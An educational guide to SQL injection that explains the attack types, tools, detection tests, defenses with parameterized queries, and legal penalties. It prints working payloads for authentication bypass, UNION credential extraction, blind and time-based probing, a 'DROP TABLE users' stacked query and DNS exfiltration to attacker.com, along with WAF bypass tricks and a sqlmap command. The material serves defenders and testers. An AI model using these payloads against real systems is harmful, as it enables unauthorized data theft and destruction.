SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in an application's software by injecting malicious SQL queries into input fields (form parameters, URL query strings, HTTP headers, cookies). Attackers can manipulate SQL queries to view, modify, delete data, bypass authentication, escalate privileges, execute administrative operations (DROP TABLE, DELETE), and sometimes execute arbitrary commands on the database server (OS command execution, file read/write). SQL Injection is one of the most critical web application vulnerabilities, consistently ranked in the OWASP Top 10 (A03:2021 - Injection).
OWASP Top 10 Ranking: SQL Injection ranked #1 in OWASP Top 10 from 2010-2017, currently #3 (A03:2021 - Injection). 65% of web applications contain SQL injection vulnerabilities (Veracode State of Software Security). Average cost of SQL injection data breach: $8.5 million (IBM Cost of a Data Breach Report).
Common targets of SQL injection attacks:
Using UNION SQL operator to combine results of malicious SELECT query with original query. Extract data from other database tables (usernames, passwords, credit cards, PII). Example: ' UNION SELECT username, password FROM users --
Exploiting database error messages to extract information about database structure (table names, column names, data types). Example: ' AND 1=CONVERT(int, @@version) -- (Microsoft SQL Server version disclosure).
Infer information by observing application behavior (true/false responses). Page content changes based on condition. Example: ' AND SUBSTRING(@@version,1,1)=5 -- (SQL Server version detection).
Using time delays (WAITFOR DELAY, pg_sleep, sleep()) to infer information when application returns same response regardless of query result. Example: ' AND IF(SUBSTRING(@@version,1,1)=5, SLEEP(5), 0) -- (MySQL time-based).
Using alternative channels (DNS, HTTP) to extract data when standard channel is not available. Example: ' AND 1=(SELECT load_file(concat('\\\\',@@version,'.attacker.com\\a'))) -- (MySQL OOB).
Malicious input stored in database and executed later in different query context. Difficult to detect during initial input validation. Example: User registration with username "admin'--" triggers SQL injection during profile update.
// SQL Injection attack examples (educational only)
// 1. Authentication bypass (login form)
// Vulnerable PHP code:
$query = "SELECT * FROM users WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'";
// Attacker input:
Username: admin' --
Password: anything
// Resulting query:
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
// Comment bypasses password check, grants admin access
// 2. Union-based data extraction
// Vulnerable URL: http://example.com/product?id=1
// Attacker input: 1 UNION SELECT username, password FROM users
// Resulting query returns product data + usernames/passwords
// 3. Error-based version disclosure (MySQL)
// Attacker input: ' AND extractvalue(1, concat(0x7e, version())) --
// Resulting error message: XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
// 4. Time-based blind injection (MySQL)
// Attacker input: ' AND IF(SUBSTRING(version(),1,1)=5, SLEEP(5), 0) --
// 5-second delay indicates MySQL 5.x
// 5. Database enumeration (extract table names)
// MySQL: ' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
// PostgreSQL: ' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
// SQL Server: ' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
// 6. Data exfiltration via UNION (extract credentials)
// Attacker input: 0 UNION SELECT 1,username,password,4 FROM users --
// Returns usernames and password hashes from users table
// 7. Stacked queries (multiple statements - MySQL, PostgreSQL)
// Attacker input: 1; DROP TABLE users; --
// Deletes entire users table (if stacked queries enabled)
// 8. Out-of-Band (OOB) DNS exfiltration (MySQL)
// Attacker input: ' AND 1=(SELECT load_file(concat('\\\\',(SELECT version()),'.attacker.com\\a'))) --
// Extracts version to attacker DNS server
Open-source automated SQL injection detection and exploitation tool. Supports all SQLi techniques (union, error-based, blind, time-based, stacked queries, out-of-band). Features: database fingerprinting, data extraction (tables, columns, rows), command execution, file read/write, and OS shell.
Web application security testing platform. Burp Scanner includes SQL injection detection (active scanning). Burp Collaborator for out-of-band detection. Extensions: SQLiPy, SQLMap integration.
Open-source web application security scanner. Active scanning for SQL injection vulnerabilities (time-based, boolean-based, union-based). Includes SQL injection detection scripts (ZAP scripts).
Lightweight Java-based SQL injection tool. Features: database fingerprinting, data extraction, file read/write, command execution. Supports multiple DBMS (MySQL, Oracle, PostgreSQL, SQL Server, MS Access).
Automated SQL injection tool with GUI. Features: database fingerprinting, table/column enumeration, data extraction, file read/write, command execution. Windows-based.
This demonstration shows how SQL injection can bypass authentication. Try legitimate credentials (admin/admin123) or SQL injection payloads:
This is a simulated demonstration. Real SQL injection can extract entire databases (usernames, passwords, credit cards, PII). Try SQL injection payload: admin' OR '1'='1' -- (bypass authentication) or ' UNION SELECT username, password FROM users -- (extract credentials)
Applications displaying database error messages (SQL syntax errors, server information) indicate potential SQL injection. Example errors: "You have an error in your SQL syntax", "Unclosed quotation mark", "Microsoft OLE DB Provider for ODBC Drivers".
Testing input fields with special characters: single quote ('), double quote ("), semicolon (;), comment characters (--, /*, */), UNION, SELECT, AND/OR operators. Application behavior changes (errors, blank pages, different responses) indicate injection vulnerability.
WAF logs showing SQL injection attack patterns (SQL keywords, union select, sleep(), benchmark(), waitfor delay) indicate attempted exploitation. ModSecurity, Cloudflare WAF, AWS WAF logs.
// SQL injection detection tests (manual)
// Test 1: Single quote injection
Input: '
Expected: SQL error or changed page behavior (vulnerable)
Safe: Parameterized query or input sanitization
// Test 2: Boolean-based blind
Input: ' AND '1'='1
Input: ' AND '1'='2
Compare responses (different = vulnerable)
// Test 3: Time-based blind
Input: ' AND SLEEP(5) --
Input: ' AND pg_sleep(5) -- (PostgreSQL)
Input: ' AND WAITFOR DELAY '00:00:05' -- (SQL Server)
5-second delay = vulnerable
// Test 4: Union-based extraction
Input: ' UNION SELECT NULL --
Increase NULL count until no error
Input: ' UNION SELECT 1,2,3,4,5 --
// Automated detection with SQLmap
sqlmap -u "http://example.com/product?id=1" --batch --level=3 --risk=3
// Web Application Firewall (WAF) bypass techniques
// Case alternation: SeLeCt, UnIoN
// Encoding: %27 (URL), 0x27 (hex), CHAR(39)
// Comment obfuscation: /**/, /*!50000SELECT*/
Most effective defense against SQL injection. Separates SQL logic from data input. User input treated as data, not executable code. Supported by all major languages: Java (PreparedStatement), .NET (SqlCommand with parameters), Python (parameterized queries), PHP (PDO), Node.js (parameterized queries).
Validate user input against expected format (whitelist, regex). Escape special characters (addslashes, mysqli_real_escape_string - limited effectiveness). Use allowlists (whitelist) instead of denylists (blacklist). Input validation should not be only defense.
Encapsulate SQL logic in stored procedures with parameters. Reduces risk if properly implemented (parameterized stored procedures). Not a complete defense - can still be vulnerable if dynamic SQL built inside stored procedure.
Application database account should have minimal privileges (SELECT, INSERT, UPDATE on specific tables, no DDL). Prevent DROP TABLE, DELETE, administrative commands. Separate read-only accounts for reporting.
WAF (ModSecurity, Cloudflare WAF, AWS WAF, Azure WAF) blocks SQL injection attacks (SQL keywords, union select, sleep, benchmark). Provides defense-in-depth but not replacement for secure coding.
Conduct static analysis (SAST) and dynamic scanning (DAST) for SQL injection vulnerabilities. Use automated scanners (OWASP ZAP, Burp Suite, Acunetix, Netsparker). Manual penetration testing.
Best Practice - Parameterized Queries are Mandatory: Parameterized queries (prepared statements) are the most effective defense against SQL injection. Never concatenate user input directly into SQL queries. Use parameterized queries for all database operations (SELECT, INSERT, UPDATE, DELETE). Input validation and WAF provide defense-in-depth but do not replace parameterized queries. Example (PHP PDO): $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);
SQL injection attacks are illegal in all jurisdictions with severe criminal and civil penalties. Unauthorized database access violates computer crime, data protection, and identity theft laws:
SQL injection attacks are illegal in all jurisdictions and carry severe criminal and civil penalties:
Critical Notice: This guide is provided for educational and defensive purposes to help security professionals, web developers, and defenders understand SQL injection threats for legitimate activities: developing secure applications (parameterized queries, input validation), conducting authorized penetration testing (with written permission), and implementing WAF/IDS detection rules.
Performing SQL injection attacks on applications you do not own or without explicit written authorization is criminal activity with severe consequences: federal felony charges (CFAA), lengthy imprisonment (10-20 years), asset forfeiture, permanent criminal record, civil liability (victims can sue for millions), and professional sanctions. Law enforcement agencies (FBI, Secret Service, Europol) actively investigate and prosecute SQL injection attacks, including data breaches (e.g., 2012 Yahoo! Voices breach - 450,000 credentials stolen via SQL injection, 2011 Sony Pictures breach - 1 million user records).
For developers: Use parameterized queries (prepared statements) for all database operations. Never concatenate user input into SQL queries. Implement input validation and WAF. Conduct regular security testing (SAST/DAST). For organizations: Deploy WAF with SQL injection rules (ModSecurity, Cloudflare WAF, AWS WAF). Monitor database logs for SQL injection attempts. Report SQL injection vulnerabilities via responsible disclosure (bug bounty programs).
OWASP (Open Web Application Security Project) SQL Injection Prevention Cheat Sheet: parameterized queries, input validation, stored procedures, and secure coding practices.
Free Burp Suite Academy SQL injection labs: union-based, error-based, blind (boolean/time-based), second-order, and out-of-band SQL injection. Interactive learning environment.
MITRE ATT&CK framework tactics: T1190 (Exploit Public-Facing Application - SQL injection), T1505 (Server Software Component), T1059 (Command and Scripting Interpreter).
Course covering SQL injection detection, exploitation, and mitigation. Includes manual testing techniques and automated tools (SQLmap, Burp Suite).
Official SQLmap documentation: detection techniques, data extraction, database fingerprinting, command execution, and file read/write examples. Includes video tutorials.